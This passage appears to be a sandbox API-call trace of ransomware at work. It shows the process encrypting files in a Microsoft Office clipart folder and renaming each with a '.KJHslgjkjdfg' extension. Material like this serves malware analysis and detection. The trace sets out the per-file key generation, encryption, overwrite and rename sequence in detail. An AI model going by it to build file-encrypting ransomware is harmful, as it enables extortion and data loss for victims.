[0203.682] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0203.682] CryptDestroyKey (hKey=0x9b6628) returned 1 [0203.682] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0203.682] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0203.683] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0203.683] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0203.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0203.683] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0203.683] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0203.683] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0203.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.683] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e836, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1e836, lpOverlapped=0x0) returned 1 [0203.716] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e840, dwBufLen=0x1e840 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e840) returned 1 [0203.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.717] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e840, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1e840, lpOverlapped=0x0) returned 1 [0203.718] CryptDestroyKey (hKey=0x9b6628) returned 1 [0203.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.718] SetEndOfFile (hFile=0x130) returned 1 [0203.721] GetProcessHeap () returned 0x990000 [0203.722] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0203.722] GetProcessHeap () returned 0x990000 [0203.722] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0203.722] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png.kjhslgjkjdfg")) returned 1 [0203.723] CloseHandle (hObject=0x130) returned 1 [0203.723] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f2bd00, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39f2bd00, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x19a5d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0400004.PNG", cAlternateFileName="")) returned 1 [0203.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.725] GetProcessHeap () returned 0x990000 [0203.725] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0203.725] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0203.725] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0203.725] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x3, lpOverlapped=0x0) returned 1 [0203.745] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0203.745] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0203.745] GetProcessHeap () returned 0x990000 [0203.745] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0203.745] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0203.745] CryptDestroyKey (hKey=0x9b6628) returned 1 [0203.745] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0203.745] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0203.745] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0203.745] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0203.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0203.746] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0203.746] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0203.746] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0203.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.746] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x19a5d, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x19a5d, lpOverlapped=0x0) returned 1 [0203.767] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x19a60, dwBufLen=0x19a60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x19a60) returned 1 [0203.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.769] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x19a60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x19a60, lpOverlapped=0x0) returned 1 [0203.769] CryptDestroyKey (hKey=0x9b6628) returned 1 [0203.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x19b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.769] SetEndOfFile (hFile=0x130) returned 1 [0203.773] GetProcessHeap () returned 0x990000 [0203.773] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0203.773] GetProcessHeap () returned 0x990000 [0203.773] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0203.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png.kjhslgjkjdfg")) returned 1 [0203.775] CloseHandle (hObject=0x130) returned 1 [0203.775] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aa7600, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aa7600, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x17742, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0400005.PNG", cAlternateFileName="")) returned 1 [0203.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.776] GetProcessHeap () returned 0x990000 [0203.776] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0203.776] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0203.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0203.776] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0203.779] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0203.779] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0203.779] GetProcessHeap () returned 0x990000 [0203.779] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0203.779] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0203.779] CryptDestroyKey (hKey=0x9b6628) returned 1 [0203.779] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0203.779] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0203.779] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0203.779] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0203.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0203.780] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0203.780] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0203.780] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0203.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.780] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x17742, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x17742, lpOverlapped=0x0) returned 1 [0203.853] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17750, dwBufLen=0x17750 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17750) returned 1 [0203.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.854] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x17750, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x17750, lpOverlapped=0x0) returned 1 [0203.854] CryptDestroyKey (hKey=0x9b6628) returned 1 [0203.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.854] SetEndOfFile (hFile=0x130) returned 1 [0203.857] GetProcessHeap () returned 0x990000 [0203.858] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0203.858] GetProcessHeap () returned 0x990000 [0203.858] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0203.858] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png.kjhslgjkjdfg")) returned 1 [0203.859] CloseHandle (hObject=0x130) returned 1 [0203.859] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2645, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JAVA_01.MID", cAlternateFileName="")) returned 1 [0203.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.860] GetProcessHeap () returned 0x990000 [0203.861] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0203.861] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0203.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0203.861] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0203.893] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0203.893] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0203.893] GetProcessHeap () returned 0x990000 [0203.893] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0203.893] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0203.893] CryptDestroyKey (hKey=0x9b6628) returned 1 [0203.893] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0203.893] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0203.894] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0203.894] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0203.894] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0203.894] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0203.894] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0203.894] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0203.894] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.894] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2645, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2645, lpOverlapped=0x0) returned 1 [0203.906] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2650, dwBufLen=0x2650 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2650) returned 1 [0203.906] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.906] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2650, lpOverlapped=0x0) returned 1 [0203.907] CryptDestroyKey (hKey=0x9b6628) returned 1 [0203.907] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.907] SetEndOfFile (hFile=0x130) returned 1 [0203.909] GetProcessHeap () returned 0x990000 [0203.909] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0203.910] GetProcessHeap () returned 0x990000 [0203.910] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0203.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.kjhslgjkjdfg")) returned 1 [0203.911] CloseHandle (hObject=0x130) returned 1 [0203.911] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16d3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JNGLE_01.MID", cAlternateFileName="")) returned 1 [0203.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.913] GetProcessHeap () returned 0x990000 [0203.913] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0203.913] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0203.913] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0203.913] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0203.982] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0203.982] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0203.982] GetProcessHeap () returned 0x990000 [0203.982] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0203.983] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0203.983] CryptDestroyKey (hKey=0x9b6628) returned 1 [0203.983] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0203.983] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0203.983] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0203.983] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0203.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0203.983] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: 